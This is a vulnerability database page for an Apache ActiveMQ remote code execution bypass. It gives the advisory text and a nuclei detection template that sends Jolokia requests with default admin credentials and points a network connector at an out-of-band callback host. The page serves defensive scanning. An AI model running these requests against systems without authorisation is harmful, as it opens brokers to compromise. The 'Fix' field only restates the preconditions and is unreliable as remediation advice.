Browse / CVEs / CVE-2026-40466
CVE-2026-40466· apache / activemq· CWE-20, CWE-94
Apache ActiveMQ - Remote Code Execution via HTTP Discovery Transport Bypass
Apache ActiveMQ before 5.19.6 and 6.0.0 through 6.2.4 is vulnerable to remote code execution via a bypass of the CVE-2026-34197 security fix. The original fix blocked the "vm://" transport scheme in BrokerView.addNetworkConnector() and BrokerView.addConnector() to prevent authenticated attackers from loading malicious Spring XML configurations via the Jolokia API. However, the fix only denied the "vm" scheme. An attacker can bypass this restriction by using the HTTP Discovery transport(http://attacker/discovery), which is not in the denied scheme list. The attacker-controlled HTTP endpoint returns a vm:// transport URI as a second-stage response, which then loads a remote Spring XML application context, leading to arbitrary code execution on the broker JVM. The activemq-http module must be on the classpath (present by default in the "all" distribution), and authenticated access to the Jolokia API (/api/jolokia/) is required.
Impact
Authenticated attackers can execute arbitrary code on the broker JVM, potentially leading to full system compromise.
Fix
Attacker must be authenticated and activemq-http module must be on classpath.
How to confirm it
Send: POST /api/jolokia/
Positive when: contains "{\"request\":{" and "org.apache.activemq" AND contains in interactsh_protocol "http" or "dns" AND status 200Run it with nuclei: nuclei -id CVE-2026-40466 -u <target>
The full check
id: CVE-2026-40466
info:
name: Apache ActiveMQ - Remote Code Execution via HTTP Discovery Transport Bypass
author: DhiyaneshDk
severity: high
description: |
Apache ActiveMQ before 5.19.6 and 6.0.0 through 6.2.4 is vulnerable to remote code execution via a bypass of the CVE-2026-34197 security fix. The original fix blocked the "vm://" transport scheme in BrokerView.addNetworkConnector() and BrokerView.addConnector() to prevent authenticated attackers from loading malicious Spring XML configurations via the Jolokia API. However, the fix only denied the "vm" scheme. An attacker can bypass this restriction by using the HTTP Discovery transport(http://attacker/discovery), which is not in the denied scheme list. The attacker-controlled HTTP endpoint returns a vm:// transport URI as a second-stage response, which then loads a remote Spring XML application context, leading to arbitrary code execution on the broker JVM. The activemq-http module must be on the classpath (present by default in the "all" distribution), and authenticated access to the Jolokia API (/api/jolokia/) is required.
impact: |
Authenticated attackers can execute arbitrary code on the broker JVM, potentially leading to full system compromise.
remediation: Attacker must be authenticated and activemq-http module must be on classpath.
reference:
- https://activemq.apache.org/security-advisories.data/CVE-2026-40466-announcement.txt
- https://nvd.nist.gov/vuln/detail/CVE-2026-40466
- https://github.com/advisories/GHSA-w3w2-mpp5-92gm
- https://github.com/apache/activemq/pull/1918
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2026-40466
cwe-id: CWE-20,CWE-94
epss-score: 0.04783
epss-percentile: 0.92002
cpe: cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: apache
product: activemq
shodan-query: product:"ActiveMQ"
tags: cve,cve2026,activemq,apache,rce,jolokia,oob,http,unauth,vuln,vkev
http:
- raw:
- |
POST /api/jolokia/ HTTP/1.1
Host: {{Hostname}}
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: {{RootURL}}
{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector(java.lang.String)","arguments":["NC"]}
- |
POST /api/jolokia/ HTTP/1.1
Host: {{Hostname}}
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: {{RootURL}}
{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector(java.lang.String)","arguments":["http://{{interactsh-url}}/discovery"]}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{"request":{'
- 'org.apache.activemq'
condition: and
- type: word
part: interactsh_protocol
words:
- "http"
- "dns"
condition: or
- type: status
status:
- 200References
- https://activemq.apache.org/security-advisories.data/CVE-2026-40466-announcement.txt
- https://nvd.nist.gov/vuln/detail/CVE-2026-40466
- https://github.com/advisories/GHSA-w3w2-mpp5-92gm
- https://github.com/apache/activemq/pull/1918
Use this check only on systems you are authorised to test. Where the data comes from